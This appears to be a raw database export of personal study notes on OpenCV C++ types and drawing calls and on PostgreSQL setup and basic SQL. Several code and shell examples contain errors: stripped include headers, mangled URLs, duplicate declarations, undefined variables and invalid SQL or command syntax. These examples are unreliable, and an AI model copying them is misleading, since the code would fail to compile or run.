Additionally, there are `width` and `height` data members. text txt 2024-07-28 10:11:38.541266 0 +6083 1826 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Rect{}`|\n|Copy constructor|`cv::Rect{r}`|\n|Value constructor|`cv::Rect{x, y, w, h}`|\n|Construct from origin and size|`cv::Rect{p, sz}`|\n|Construct from two corners|`cv::Rect{tl, br}`|\n|Member access|`r.x` `r.y` `r.width` `r.height`|\n|Compute area|`r.area()`|\n|Extract upper-left corner|`r.tl()`|\n|Extract bottom-right corner|`r.br()`|\n|Determine if a point is inside|`r.contains(p)`|\n|Intersection of rectangles|`r1 &= r2`|\n|Minimum area rectangle|`r1 |= r2`|\n|Translate rectangle by an amount|`r += x`|\n|Enlarge rectangle by size|`r += s`|\n|Compare rectangles for exact quality|`r1 == r2`|\n|Compare rectangles for inequality|`r1 != r2`| text txt 2024-07-28 10:11:38.563562 0 +6084 1827 A non-template class holding a `cv::Point2f` member called `center`, a\n`cv::Size2f` called `size`, and one additional `float` called `angle`, with\nthe latter representing the rotation of the rectangle around `center`. text txt 2024-07-28 10:11:38.972341 0 +6085 1827 |Operation|Example|\n|---|---|\n|Default constructor|`cv::RotatedRect{}`|\n|Copy constructor|`cv::RotatedRect{rr}`|\n|Value constructor|`cv::RotatedRect{p, sz, theta}`|\n|Construct from two corners|`cv::RotatedRect{p1, p2}`|\n|Member access|`rr.center` `rr.size` `rr.angle`|\n|Return a list of corners|`rr.points{pts[4]}`| text txt 2024-07-28 10:11:38.993424 0 +6086 1828 A matrix whose dimensions are known at compile time. The fixed vector class\nderives from the fixed matrix class, and other classes either derive frmo the\nfixed vector class or they rely on casting to the fixed vector class for many\nimportant operations. text txt 2024-07-28 10:11:39.802266 0 +6087 1828 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Matx33f{}` `cv::Matx43d{}`|\n|Copy constructor|`cv::Matx22d{n22d}`|\n|Value constructor|`cv::Matx21f{x0, x1}` `cv::Matx22d{x0,x1,x2,x3}`|\n|Matrix of identical elements|`cv::Matx33f::all(x)`|\n|Matrix of zeros|`cv::Matx23d::zeros()`|\n|Matrix of ones|`cv::Matx16f::ones()`|\n|Unit matrix|`cv::Matx33f::eye()`|\n|Diagonal of matrix|`m31f = cv::Matx33f::diag()`|\n|Matrix of uniformly distributed entries|`m33f = cv::Matx33f::randu(min, max)`|\n|Matrix of normally distributed entries|`m33f = cv::Matx33f::nrandn(mean, variance)`|\n|Member access|`m(i,j)` `m(i)`|\n|Matrix algebra|`m1 = m0` `m0 * m1` `m0 + m1` `m0 - m1`|\n|Singelton algebra|`m * a` `a * m` `m / a`|\n|Comparison|`m1 == m2` `m1 != m2`|\n|Dot product|`m1.dot(m2)`|\n|Double-precision dot product|`m1.ddot(m2)`|\n|Reshape matrix|`m91f = m33f.reshape<9, 1>()`|\n|Extract submatrix|`m44f.get_minor<2, 2>(i, j)`|\n|Extract row|`m41f = m44f.row(i)`|\n|Extract column|`m14f = m44f.col(j)`|\n|Extract diagonal|`m41f = m44f.diag()`|\n|Matrix Transpose|`n44f = m44f.t()`|\n|Invert Matrix|`n44f = m44f.inv(method = cv::DECOMP_LU)`|\n|Solve linear system|`m31f = m33f.solve(rhs31f, method)`|\n|Per-element multiplication|`m1.mul(m2)`| text txt 2024-07-28 10:11:39.826032 0 +6088 1829 The fixed vector classes are derived from fixed matrix classes. text txt 2024-07-28 10:11:40.198241 0 +6089 1829 Alias templates are `cv::Vec{2,3,4,6}{b,s,w,i,f,d}` text txt 2024-07-28 10:11:40.217575 0 +6090 1829 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Vec2s{}` `cv::Vec6d{}`|\n|Copy constructor|`cv::Vec3f{v3f}`|\n|Value constructor|`cv::Vec2f{x0, x1}` `cv::Vec6d{x0,x1,x2,x3,x4,x5}`|\n|Member access|`v4f[i]` `v3w(j)`|\n|Cross-product|`v3f.cross(u3f)`| text txt 2024-07-28 10:11:40.239046 0 +6091 1830 The `cv::Complex` template class is not indentical to, but is compatible\nwith, and can be cast to and from, the `std::complex<>`. text txt 2024-07-28 10:11:40.659157 0 +6092 1830 In `std::complex<>` the real and imaginary parts are accessed through the\nmember functions `real()` and `imag()`, while in `cv::Complex<>` they are\ndirectly accessible as public members `re` and `im`. text txt 2024-07-28 10:11:40.67933 0 +6093 1830 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Complexf{}` `cv::Complexd{}`|\n|Copy constructor|`cv::Complexd{c}`|\n|Value constructor|`cv::Complexd{re)` `cv::Complexd{re, im}`|\n|Member access|`z1.re` `z2.im`|\n|Complex conjugate|`z2 = z1.conj()`| text txt 2024-07-28 10:11:40.70013 0 +6094 1831 Drawing functions work with images of any depth, but most of them affect only\nthe first three channels defaulting to only the first channel in the case of\nsingle channel images. They also support a color, thickness, a line type, and\nsubpixel alignment of objects. text txt 2024-07-28 10:11:41.082649 0 +6095 1832 The convention is to use `cv::Scalar` object to specify color. text txt 2024-07-28 10:11:41.436503 0 +6096 1832 Only the first three values are used most of the time eventhough it is\nconvinient to use the fourth value to represent an alpha channel, but drawing\nfunctions do not currently support alpha bending. text txt 2024-07-28 10:11:41.456547 0 +6097 1832 By convention, OpenCV uses BGR ordering for converting multichannel images to\ncolor renderings. In any case, the core functions of the library are always\nagnostic to any "meaning" you might assign to a channel. text txt 2024-07-28 10:11:41.47763 0 +6098 1833 The `lineType` parameter only acceptes values `4`, `8`, or `cv::LINE_AA`. text txt 2024-07-28 10:11:42.236418 0 +6099 1833 * 4-connected Bresenham algorithm: text txt 2024-07-28 10:11:42.256092 0 +6100 1833 ```\n|X|X| | | | | | | | |\n| |X|X|X| | | | | | |\n| | | |X|X|X|X| | | |\n| | | | | | |X|X|X| |\n| | | | | | | | |X|X|\n`````` text txt 2024-07-28 10:11:42.277861 0 +6101 1833 * 8-connected Bresenham algorithm: text txt 2024-07-28 10:11:42.29853 0 +6102 1833 ```\n|X|X| | | | | | | | |\n| | |X|X| | | | | | |\n| | | | |X|X| | | | |\n| | | | | | |X|X| | |\n| | | | | | | | |X|X|\n`````` text txt 2024-07-28 10:11:42.319779 0 +6103 1833 * Anti-Aliased line with Guassian Smoothing text txt 2024-07-28 10:11:42.341209 0 +6104 1833 ```\n|O|O| | | | | | | | |\n| |O|X|O| | | | | | |\n| | | |O|X|O| | | | |\n| | | | | |O|X|O| | |\n| | | | | | | |O|X|O|\n| | | | | | | | | |O|\n`````` text txt 2024-07-28 10:11:42.362869 0 +6105 1834 The `thickness` of the lines measured in pixles. For all closed shapes, it\ncan be set to `cv::FILLED` which is an alias for `-1`. text txt 2024-07-28 10:11:42.550676 0 +6106 1835 The signature of this function is as follows: text txt 2024-07-28 10:11:43.35882 0 +6107 1835 void cv::circle(\n cv::Mat& image, // image to be drawn on\n cv::Point center, // location of circle center\n int radius, // radius of circle\n const cv::Scalar& color, // color RGB form\n int thickness=1,// thickness of line\n int lineType=8, // connectedness, 4 or 8\n int shift=0 // bits of radius to treat as fraction\n) code txt 2024-07-28 10:11:43.380029 0 +6108 1835 A sample usage of this drawing function is: text txt 2024-07-28 10:11:43.400078 0 +6109 1835 #include text txt 2024-07-28 10:11:43.420899 0 +6110 1835 int main()\n{\n cv::Mat image = cv::imread("/tmp/image.jpg");\n cv::Point2i center{image.cols / 2, image.rows / 2};\n int radius{100};\n cv::Scalar color{};\n int thickness{4};\n int linetype{4};\n int shift{0}; text txt 2024-07-28 10:11:43.441207 0 +6111 1835 cv::circle(image, center, radius, color, thickness, linetype, shift);\n} code txt 2024-07-28 10:11:43.463046 0 +6112 1836 git clone https://github.com - https://github.com/opencv/opencv.git\ncmake -S opencv -B opencv-build -D CMAKE_BUILD_TYPE=Release -D CMAKE_PREFIX_PATH=/usr/local\ncmake --build opencv-build --release Release --target all -j $(nproc)\ncmake --install opencv-build -j $(nproc) code txt 2024-07-28 10:11:44.271593 0 +6113 1837 #include code txt 2024-07-28 10:11:44.51335 0 +6114 1838 cv::Mat image;\nstd::cout << image.rows << " x " << image.cols << '\\\\n';; code txt 2024-07-28 10:11:44.773739 0 +6115 1839 cv::Mat colored = cv::imread("sample.bmp", cv::IMREAD_COLOR);\ncv::Mat gray = cv::imread("sample.bmp", cv::IMREAD_GRAYSCALE); code txt 2024-07-28 10:11:45.009735 0 +6116 1840 #include \n#include text txt 2024-07-28 10:11:45.53283 0 +6117 1840 static constexpr auto window_name{"Original Image"}; text txt 2024-07-28 10:11:45.554479 0 +6118 1840 cv::Mat image = cv::imread("sample.bmp", cv::IMREAD_COLOR); text txt 2024-07-28 10:11:45.575161 0 +6119 1840 if (image.empty())\n{\n /* error handling */\n} text txt 2024-07-28 10:11:45.5946 0 +6120 1840 cv::namedWindow(window_name);\ncv::imshow(window_name, image);\ncv::waitKey(0); // wait indefinitely for key press\ncv::destroyWindow(window_name); code txt 2024-07-28 10:11:45.616475 0 +6121 1841 #include text txt 2024-07-28 10:11:45.900837 0 +6122 1841 cv::Mat image = cv::imread("untouched.jpg", cv::IMREAD_COLOR);\ncv::imwrite("filename.jpg", image); code txt 2024-07-28 10:11:45.922239 0 +6123 1842 #include \n#include text txt 2024-07-28 10:11:46.372498 0 +6124 1842 constexpr auto image_path{"sample.png"};\nconstexpr auto write_path{"flipped.png"}; text txt 2024-07-28 10:11:46.393637 0 +6125 1842 int main()\n{\n cv::Mat image = cv::imread(image_path, cv::IMREAD_COLOR);\n cv::Mat flipped{};\n cv::flip(image, flipped, 1);\n cv::imwrite(write_path, flipped);\n} code txt 2024-07-28 10:11:46.415109 0 +6126 1843 #include text txt 2024-07-28 10:11:46.693159 0 +6127 1843 cv::Mat image = cv::imread("sample.png", cv::IMREAD_COLOR);\nstd::cout << image.channels() << '\\\\n'; code txt 2024-07-28 10:11:46.714101 0 +6128 1844 #include \n#include \n#include \n#include text txt 2024-07-28 10:11:47.593439 0 +6129 1844 static constexpr auto image_path{"sample.png"};\nstatic constexpr auto window{"Preview"}; text txt 2024-07-28 10:11:47.613877 0 +6130 1844 void on_mouse(int event, int x, int y, int, void*)\n{\n switch (event)\n {\n case cv::EVENT_LBUTTONDOWN:\n std::cerr << '(' << x << "," << y << ')' << std::endl;\n break;\n case cv::EVENT_LBUTTONUP:\n case cv::EVENT_RBUTTONDOWN:\n case cv::EVENT_RBUTTONUP:\n case cv::EVENT_MOUSEMOVE:\n default:\n break;\n };\n} text txt 2024-07-28 10:11:47.635723 0 +6131 1844 int main()\n{\n cv::Mat image = cv::imread(image_path);\n cv::namedWindow(window);\n cv::setMouseCallback(window, on_mouse, reinterpret_cast(&image));\n cv::imshow(window, image);\n cv::waitKey(0);\n cv::destroyWindow(window);\n} code txt 2024-07-28 10:11:47.65569 0 +6132 1845 #include \n#include \n#include \n#include text txt 2024-07-28 10:11:48.311698 0 +6133 1845 static constexpr auto image_path{"sample.png"};\nstatic constexpr auto window{"Preview"}; text txt 2024-07-28 10:11:48.332624 0 +6134 1845 int main()\n{\n cv::Mat image = cv::imread(image_path, cv::IMREAD_COLOR);\n cv::namedWindow(window);\n cv::Point center{670, 400};\n int radius{200};\n int thickness{3};\n cv::Scalar color{0, 0, 255, 0}; text txt 2024-07-28 10:11:48.353626 0 +6135 1845 cv::circle(image, center, radius, color, thickness);\n cv::imshow(window, image);\n cv::waitKey(0);\n cv::destroyWindow(window);\n} code txt 2024-07-28 10:11:48.375518 0 +6136 1846 #include \n#include \n#include \n#include text txt 2024-07-28 10:11:49.015252 0 +6137 1846 static constexpr auto image_path{"sample.png"};\nstatic constexpr auto window{"Preview"}; text txt 2024-07-28 10:11:49.035238 0 +6138 1846 int main()\n{\n cv::Mat image = cv::imread(image_path, cv::IMREAD_COLOR);\n cv::namedWindow(window);\n cv::Point topleft{500, 200};\n cv::Point bottomright{800, 600};\n int thickness{2};\n cv::Scalar color{0, 0, 255, 0}; text txt 2024-07-28 10:11:49.054474 0 +6139 1846 cv::rectangle(image, topleft, bottomright, color, thickness);\n cv::imshow(window, image);\n cv::waitKey(0);\n cv::destroyWindow(window);\n} code txt 2024-07-28 10:11:49.074671 0 +6140 1847 #include \n#include \n#include \n#include text txt 2024-07-28 10:11:49.779424 0 +6141 1847 static constexpr auto image_path{"sample.png"};\nstatic constexpr auto window{"Preview"};\nstatic constexpr auto name{"Object"}; text txt 2024-07-28 10:11:49.799783 0 +6142 1847 int main()\n{\n cv::Mat image = cv::imread(image_path, cv::IMREAD_COLOR);\n cv::namedWindow(window);\n cv::Point topleft{500, 200};\n cv::Point bottomright{800, 600};\n int thickness{2};\n cv::Scalar color{0, 0, 255, 0};\n double scale{2.0}; text txt 2024-07-28 10:11:49.821935 0 +6143 1847 cv::rectangle(image, topleft, bottomright, color, thickness);\n cv::putText(image, name, position, cv::FONT_HERSHEY_PLAIN, scale, color, thickness);\n cv::imshow(window, image);\n cv::waitKey(0);\n cv::destroyWindow(window);\n} code txt 2024-07-28 10:11:49.842696 0 +6144 1848 You need to specify the type of each matrix element. The letter `U` means it\nis unsigned. You can also declare signed numbers by using the letter `S`. For\na color image, you would specify three channels. You can also declare\nintegers (signed or unsigned) of size 16 and 32. You also have access to\n32-bit and 64-bit floating-point numbers text txt 2024-07-28 10:11:50.36288 0 +6145 1848 `CV_8U`: 1-byte pixel image with a single channel.\n`CV_8UC3`: 1-byte pixel image with 3 channels.\n`CV_16SC3`: 2-byte pixel image with 3 channels.\n`CV_32F`: 4-byte floating point pixel image. text txt 2024-07-28 10:11:50.383908 0 +6146 1848 #include text txt 2024-07-28 10:11:50.403893 0 +6147 1848 int main()\n{\n cv::Mat image{cv::Size{500, 500}, CV_8U, cv::Scalar{50, 50, 50}}; // gray single channel\n} code txt 2024-07-28 10:11:50.424642 0 +6148 1849 #include text txt 2024-07-28 10:11:50.766588 0 +6149 1849 int main()\n{\n cv::Mat image{cv::Size{500, 500}, CV_8U, cv::Scalar{50, 50, 50}}; // gray single channel\n image.create(cv::Size{800, 800}, CV_8UC3, cv::Scalar{0, 0, 255}); // colored 3 channel\n} code txt 2024-07-28 10:11:50.78808 0 +6150 1850 #include text txt 2024-07-28 10:11:51.148563 0 +6151 1850 int main()\n{\n cv::Mat image{cv::Size{500, 500}, CV_8U, cv::Scalar{50, 50, 50}}; // gray single channel\n cv::Mat copied{image.clone()};\n image.copyTo(copied);\n} code txt 2024-07-28 10:11:51.170448 0 +6152 1851 #include \n#include text txt 2024-07-28 10:11:51.510938 0 +6153 1851 cv::Mat colored{cv::Size{500, 500}, CV_8UC3, cv::Scalar{50, 50, 50}};\ncv::Mat gray{cv::Size{500, 500}, CV_8U, cv::Scalar{50}};\ncolored.convertTo(gray, CV_8U); code txt 2024-07-28 10:11:51.531779 0 +6154 1852 #include \n#include text txt 2024-07-28 10:11:52.060794 0 +6155 1852 int main()\n{\n cv::Mat background{cv::Size{500, 500}, CV_8UC3, cv::Scalar{0, 0, 0}};\n cv::Mat foreground{cv::Size{50, 50}, CV_8UC3, cv::Scalar{0, 0, 255}};\n cv::Rect frame{\n background.cols - foreground.cols,\n background.rows - foreground.rows,\n foreground.cols,\n foreground.rows};\n cv::Mat region{background, frame};\n foreground.copyTo(region);\n} code txt 2024-07-28 10:11:52.082278 0 +6156 1853 #include \n#include text txt 2024-07-28 10:11:52.586233 0 +6157 1853 int main()\n{\n cv::Mat background{cv::Size{500, 500}, CV_8UC3, cv::Scalar{0, 0, 0}};\n cv::Mat foreground{cv::Size{50, 50}, CV_8UC3, cv::Scalar{0, 0, 255}};\n cv::Mat region{\n cv::Range{background.rows - foreground.rows, background.rows},\n cv::Range{background.cols - foreground.cols, background.cols}\n };\n cv::Mat region{background, frame};\n foreground.copyTo(region);\n} code txt 2024-07-28 10:11:52.608271 0 +6158 1854 cv::Mat region = image.rowRange(start, end);\ncv::Mat region = image.colRange(start, end); code txt 2024-07-28 10:11:52.900257 0 +6159 1855 Some OpenCV operations allow you to define a mask that will limit the\napplicability of a given function or method, which is normally supposed to\noperate on all the image pixels. A mask is an 8-bit image that should be\nnonzero at all locations where you want an operation to be applied. At the\npixel locations that correspond to the zero values of the mask, the image is\nuntouched. text txt 2024-07-28 10:11:53.382427 0 +6160 1855 Most of the OpenCV pixel-based operations give you the opportunity to use\nmasks. text txt 2024-07-28 10:11:53.403731 0 +6161 1855 cv::Mat image = cv::imread("sample.png"};\ncv::Mat logo = cv::imread{"logo.png"};\ncv::Rect region{image.cols - log.cols, image.rows - logo.rows, logo.cols, logo.rows};\ncv::Mat mask{logo};\nlogo.copyTo(region, mask); code txt 2024-07-28 10:11:53.425846 0 +6162 1856 - **Atomicity**: Complex database operations is proccessed as a single\n instruction.\n- **Consistency**: Data within the database will not be corrupted due to\n partially performed operations.\n- **Isolation**: Allows database to handle concurrency, without interleaved\n changes.\n- **Durability**: Database engine is supposed to protect the data it\n contains, even in the case of software and hardware failures. text txt 2024-07-28 10:11:54.267686 0 +6163 1857 PostgreSQL stores its data on storage system in binary format and this format\ncould possibly change between major versions. text txt 2024-07-28 10:11:54.461382 0 +6164 1858 PostgreSQL provides support and upgrades for 5 years after a new release is\nissued; after this length of time, a major release will reach its end of life\n(EOL) and PostgreSQL developers will no longer maintain it. text txt 2024-07-28 10:11:54.682374 0 +6165 1859 A PostgreSQL instance is called a cluster because a single instance can serve\nand handle multiple databases. text txt 2024-07-28 10:11:54.883534 0 +6166 1860 A database can be organized into namespaces, called schemas. Schemas cannot\nbe nested, so they represent a flat namespace. text txt 2024-07-28 10:11:55.089134 0 +6167 1861 Database objects are represented by everything the user can create and manage\nwithin the database; for instance, tables, functions, triggers, and data\ntypes. text txt 2024-07-28 10:11:55.306667 0 +6168 1862 Every object belongs to one and only one schema that, if not specified, is\nthe default public schema. text txt 2024-07-28 10:11:55.503624 0 +6169 1863 Users are defined at a cluster-wide level, which means they are not tied to a\nparticular database in the cluster. text txt 2024-07-28 10:11:55.70808 0 +6170 1864 PostgreSQL has two user categories: normal users who can connect to and\nhandle databases and objects, and superusers who can do anything with any\ndatabase object. text txt 2024-07-28 10:11:55.933869 0 +6171 1865 PostgreSQL allows the configuration of as many superusers as you need, and\nevery superuser has the very same permissions. text txt 2024-07-28 10:11:56.133135 0 +6172 1866 PostgreSQL internal data, such as users, databases, namespaces,\nconfiguration, and database runtime status, is provided by means of catalogs,\nwhich are special tables that present information in a SQL-interactive way. text txt 2024-07-28 10:11:56.360331 0 +6173 1867 PostgreSQL stores all of its content in a single filesystem directory known\nas `PGDATA`. text txt 2024-07-28 10:11:56.568083 0 +6174 1868 The `PGDATA` directory represents what the cluster is serving as databases, and\nit consists of at least the write-ahead logs (WALs) and the data storage. text txt 2024-07-28 10:11:56.769528 0 +6175 1869 It is possible to have a single installation of PostgreSQL and make it switch\nto different `PGDATA` directories to deliver different content. text txt 2024-07-28 10:11:56.969283 0 +6176 1870 The `PGDATA` directory needs to be initialized by creation of the directory\nstructure within it before it can be used by PostgreSQL. text txt 2024-07-28 10:11:57.179645 0 +6177 1871 The first single process of PostgreSQL is **postmaster** which waits for incoming\nclient connections. text txt 2024-07-28 10:11:57.381265 0 +6178 1872 The postmaster process forks backend processes which each of them serve one\nand only one connection. text txt 2024-07-28 10:11:57.589351 0 +6179 1873 First build the project: text txt 2024-07-28 10:11:58.139084 0 +6180 1873 git clone https://github.com - https://github.com/postgresql/postgresql\ncd postgresql\ngit checkout \n./configure --prefix=$HOME/.local\nmake\nmake install code txt 2024-07-28 10:11:58.159473 0 +6181 1873 Create postgres user and initialize database: text txt 2024-07-28 10:11:58.179316 0 +6182 1873 sudo useradd postgres\nsudo mkdir /opt/postgres\nsudo chown postgres:postgres /opt/postgres\ninitdb -D /opt/postgresql code txt 2024-07-28 10:11:58.200383 0 +6183 1874 ./configure --prefix=$HOME/.local --with-systemd code txt 2024-07-28 10:11:58.443437 0 +6184 1875 git clone https://github.com - https://github.com/theory/pgenv\ncp pgenv/bin/pgenv ~/.local/bin/\npgenv available\npgenv build code txt 2024-07-28 10:11:58.734297 0 +6185 1876 psql -U postgres -h localhost template1 code txt 2024-07-28 10:11:58.956833 0 +6186 1877 target_link_libraries(executable PRIVATE pq pqxx) code txt 2024-07-28 10:11:59.199459 0 +6187 1878 `pg_ctl` command-line utility is shipped with postgres that helps in managing\nthe clusters. text txt 2024-07-28 10:11:59.436061 0 +6188 1879 * `start`, `stop`, and `restart` execute the corresponding actions.\n* `status` reports current status of cluster.\n* `reload` reloads the configuration.\n* `initdb` or briefly `init` executes the initialization of the cluster.\n* `promote` is used when the cluster is running as a subordinate server in a\n replication setup and now must be detached from the origin master and\n become independent. text txt 2024-07-28 10:11:59.74215 0 +6189 1880 `postmaster` process is started by `pg_ctl start` and prints\n`$PGENV_ROOT/bin/postgres` when it runs. text txt 2024-07-28 10:11:59.956849 0 +6190 1881 * `smart`: waits for connected clients to disconnect first\n* `fast`: immediately disconnects clients but cleans up before exit\n* `immediate`: aborts every postgres process and exists text txt 2024-07-28 10:12:00.312578 0 +6191 1881 $PGENV_ROOT/bin/postgres stop -m smart code txt 2024-07-28 10:12:00.333877 0 +6192 1881 By default `fast` stop mode is the default. text txt 2024-07-28 10:12:00.354142 0 +6193 1882 Postgres must be run by an unprivileged user.\nPostgres is run by a normal user usually named `postgres`. text txt 2024-07-28 10:12:00.643455 0 +6194 1882 sudo -E -u postgres pg_ctl stop code txt 2024-07-28 10:12:00.665256 0 +6195 1883 That almost every Postgres-related command searches for the value of PGDATA\nas an environmental variable or as a `-D` command-line option. text txt 2024-07-28 10:12:01.01661 0 +6196 1883 export PGDATA=/opt\npg_ctl status -D /usr/local code txt 2024-07-28 10:12:01.036177 0 +6197 1883 Option `-D` precedes using environment variables. text txt 2024-07-28 10:12:01.058023 0 +6198 1884 `template0` and `template1` are first databases. `template0` is a safe copy\nfor rebuilding in case `template1` is accidentally damaged or removed. text txt 2024-07-28 10:12:01.274272 0 +6199 1885 You can either use command options or use a connection string to address a\ncluster. text txt 2024-07-28 10:12:01.598849 0 +6200 1885 psql -U -h -d \npsql postgresql://username@hostname:5432/database code txt 2024-07-28 10:12:01.621002 0 +6201 1886 \\\\q code txt 2024-07-28 10:12:01.869601 0 +6202 1887 psql -l code txt 2024-07-28 10:12:02.125238 0 +6203 1888 When you connect to an instance, you connect to one of the nodes in the\ncluster. text txt 2024-07-28 10:12:02.424211 0 +6204 1888 ${PGENV_ROOT}/bin/initdb code txt 2024-07-28 10:12:02.445857 0 +6205 1889 Trust is enabled on local connections by default. You can change this by\nediting `pg_hba.conf` or using the option `-A`, or `--auth-local` and\n`--auth-host`, the next time you run initdb. text txt 2024-07-28 10:12:02.779845 0 +6206 1889 ${PGENV_ROOT}/bin/initdb --auth-local --auth-host code txt 2024-07-28 10:12:02.801364 0 +6207 1890 Postgres builds the filesystem layout of `PGDATA` directory and builds two\ntemplate databases `template0` and `template1`. text txt 2024-07-28 10:12:03.021832 0 +6208 1891 su -u postgres psql -d template1 -h postgres code txt 2024-07-28 10:12:03.34428 0 +6209 1891 select current_time; code txt 2024-07-28 10:12:03.365827 0 +6210 1892 select current_time \\\\g code txt 2024-07-28 10:12:03.608767 0 +6211 1893 \\\\e code txt 2024-07-28 10:12:03.88255 0 +6212 1893 Opens the editor specified in `EDITOR` environment variable. text txt 2024-07-28 10:12:03.903576 0 +6213 1894 \\\\i code txt 2024-07-28 10:12:04.150824 0 +6214 1895 \\\\h select code txt 2024-07-28 10:12:04.413943 0 +6215 1896 \\\\? code txt 2024-07-28 10:12:04.6535 0 +6216 1897 https://pg-sql.com text txt 2024-07-28 10:12:05.527981 0 +6217 1898 create table cities (name varchar(50), country varchar(50), population int, area int); code txt 2024-07-28 10:12:05.757492 0 +6218 1899 insert into cities (name, country, population, area)\nvalues ('Tehran', 'Iran', 15000000, 40000),\n ('Munich', 'Germany', 8000000, 20000); code txt 2024-07-28 10:12:06.058698 0 +6219 1900 select * from cities;\nselect name, country from cities; code txt 2024-07-28 10:12:06.305168 0 +6220 1901 There are eight main arithmetic operations available in SQL: text txt 2024-07-28 10:12:06.741267 0 +6221 1901 1. Addition `+`\n2. Subtraction `-`\n3. Multiplication `*`\n4. Division `/`\n5. Power `^`\n6. Square Root `|/`\n7. Absolute Value `@`\n8. Remainder `%` text txt 2024-07-28 10:12:06.762013 0 +6222 1901 select name, population / area from cities; code txt 2024-07-28 10:12:06.781812 0 +6223 1902 select name, population / area as density from cities; code txt 2024-07-28 10:12:06.997354 0 +6224 1903 - Concatanation either by `||` operator or `concat()` function\n- Change case by `lower()` and `upper()`\n- Length of string with `length()` text txt 2024-07-28 10:12:07.338334 0 +6225 1903 select firstname || ' ' || lastname as fullname from staff;\nselect concat(firstname, ' ', lastname) as fullname from staff; code txt 2024-07-28 10:12:07.359585 0 +6226 1904 select name, area from cities where area > 40000; code txt 2024-07-28 10:12:07.614327 0 +6227 1905 In a simple select query statement: text txt 2024-07-28 10:12:07.942231 0 +6228 1905 select name, area from cities where area > 40000; code txt 2024-07-28 10:12:07.962242 0 +6229 1905 The source `from` would be read first. Then, the filtering `where` reduces\nthe results. Finally, the columns would be selected. text txt 2024-07-28 10:12:07.982661 0 +6230 1906 select name, country from cities where country in ('USA', 'Germany', 'France'); code txt 2024-07-28 10:12:08.23304 0 +6231 1907 select name, country from cities where country not in ('USA', 'Germany', 'France'); code txt 2024-07-28 10:12:08.488196 0 +6232 1908 - Equality `=`\n- Greater `>`\n- Less `<`\n- Greater or Equal `>=`\n- Less or Equal `<=`\n- Inequality `<>` or `!=`\n- between two `between`\n- exists in list `in`\n- not exists in list `not in` text txt 2024-07-28 10:12:08.829557 0 +6233 1909 - `and`\n- `or` text txt 2024-07-28 10:12:09.164223 0 +6234 1909 select device, manufacturer from devices where country in ('USA', 'China');\nselect device, manufacturer from devices where country = 'USA' or country = 'China';\nselect device, manufacturer from devices where country = 'USA' and manufacturer = 'ASUS'; code txt 2024-07-28 10:12:09.185792 0 +6235 1910 select name, country, population / area as density from cities where population / area > 40000; code txt 2024-07-28 10:12:09.419391 0 +6236 1911 update cities set population = 20000000 where name = 'Tehran'; code txt 2024-07-28 10:12:09.649574 0 +6237 1912 delete from cities where name = 'Tehran'; code txt 2024-07-28 10:12:09.914107 0 +6238 1913 delete from cities; code txt 2024-07-28 10:12:10.173878 0 +6239 1914 - one to one\n- one to many\n- many to one\n- many to many text txt 2024-07-28 10:12:10.453844 0 +6240 1915 - Each row in every table has one primary key (not empty)\n- No other row in the same table can have the same value (unique)\n- 99% of the time called id\n- Either an integer or a UUID\n- Will never change text txt 2024-07-28 10:12:10.712869 0 +6241 1916 Using `serial` in postgres, we will have a value typed as integral and auto\ngenerate unique IDs. text txt 2024-07-28 10:12:11.095855 0 +6242 1916 create table users (\n id serial primary key,\n username varchar(50)\n) code txt 2024-07-28 10:12:11.116929 0 +6243 1917 - Rows only have this key if they have a cell that belongs to another record\n- Many rows in the same table can have the same foreign key\n- Name varies, usually called something like `xyz_id`\n- Exactly equal to the primary key of the referenced row\n- Will change if the relationship changes text txt 2024-07-28 10:12:11.391472 0 +6244 1918 create table photos (\n id serial primary key,\n url varchar(1000),\n user_id integer references users(id)\n) code txt 2024-07-28 10:12:11.697688 0 +6245 1919 A record having foreign key referencing to an existing record would be\nsuccessful. But a record referencing to an invalid record will fail. Also,\nwhen inserting a record having foreign key set to `NULL` is also a successful\ninsertion. text txt 2024-07-28 10:12:12.038263 0 +6246 1919 insert into photos (url, user_id) values ('https://cdn1.example.com - https://cdn1.example.com/image1.jpg', NULL); code txt 2024-07-28 10:12:12.0615 0 +6247 1920 - `on delete restrict`: throw an error when deleting the record having foreign keys referenced to it\n- `on delete no action`: same as above\n- `on delete cascade`: delete the referencing record too\n- `on delete set null`: set the foreign key value to NULL\n- `on delete set default`: set the forign key value to a default value text txt 2024-07-28 10:12:12.372397 0 +6248 1921 When the action after deletion of referenced record is not specified for a\nforeign key, `on delete restrict` is the default. text txt 2024-07-28 10:12:12.739786 0 +6249 1921 create table photos (\n id serial primary key,\n url varchar(1000),\n user_id integer references on users(id) on delete restrict\n) code txt 2024-07-28 10:12:12.760586 0 +6250 1922 select url, username\nfrom users\njoin photos on users.id = photos.user_id; code txt 2024-07-28 10:12:13.040006 0 +6251 1923 create table photos (\n id serial primary key,\n url varchar(50) not null,\n user_id integer default 0 references on users(id) on delete set default\n) code txt 2024-07-28 10:12:13.389689 0 +6252 1924 - **join** or **inner join** text txt 2024-07-28 10:12:14.226148 0 +6253 1924 select photo_id, user_id\nfrom users\njoin photos on photos.user_id = users.id; code txt 2024-07-28 10:12:14.246587 0 +6254 1924 - **left outer join** text txt 2024-07-28 10:12:14.26781 0 +6255 1924 select photo_id, user_id\nfrom users\nleft join photos on photos.user_id = users.id; code txt 2024-07-28 10:12:14.290225 0 +6256 1924 - **right outer join** text txt 2024-07-28 10:12:14.310626 0 +6257 1924 select photo_id, user_id\nfrom users\nright join photos on photos.user_id = users.id; code txt 2024-07-28 10:12:14.330937 0 +6258 1924 - **full join** text txt 2024-07-28 10:12:14.352322 0 +6259 1924 select photo_id, user_id\nfrom users\nfull join photos on photos.user_id = users.id; code txt 2024-07-28 10:12:14.374131 0 +6260 1925 select photo_id, user_id\nfrom users\njoin photos on photos.user_id = users.id\nwhere photos.views > 2000; code txt 2024-07-28 10:12:14.657444 0 +6261 1926 - Reduces many rows down to fewer rows\n- Done by using the 'GROUP BY' keyword\n- Visualizing the result is key to use text txt 2024-07-28 10:12:14.94676 0 +6262 1927 1. Group records by a specific column, e.g. `user_id`\n2. Find the set of all unqiue values in that column\n3. Take each record and assign to a group based on grouped unique values text txt 2024-07-28 10:12:15.214327 0 +6263 1928 select user_id\nfrom comments\ngroup by user_id; code txt 2024-07-28 10:12:15.467148 0 +6264 1929 When we are talking about filtering along with an aggregate function, we\nshould be filtering aggregated results with `having` clause. text 